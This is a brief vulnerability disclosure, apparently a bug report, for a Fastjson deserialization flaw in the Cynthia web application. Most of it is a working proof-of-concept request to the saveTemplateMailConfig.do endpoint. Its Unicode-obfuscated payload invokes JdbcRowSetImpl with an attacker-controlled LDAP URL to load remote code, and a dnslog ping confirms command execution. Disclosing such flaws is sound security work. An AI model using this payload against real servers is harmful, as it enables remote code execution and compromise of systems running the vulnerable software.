Cynthia - Fastjson deserialization vulnerability

This is a Fastjson deserialization vulnerability

1.login fast
Login required

2.Fastjson deserialization
Trigger point
http://xx.xxx.xxx.xx/cynthia/template/saveTemplateMailConfig.do?templateId=744313&templateMailOptions={“b”:{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":“ldap://xx.xx.xx.xx:1389/wj0bb4”,“autoCommit”:true}}
Deploy malicious LDAP on the server ，then Request received
ping -c2 aa.lmy0c7.dnslog.cn The command is executed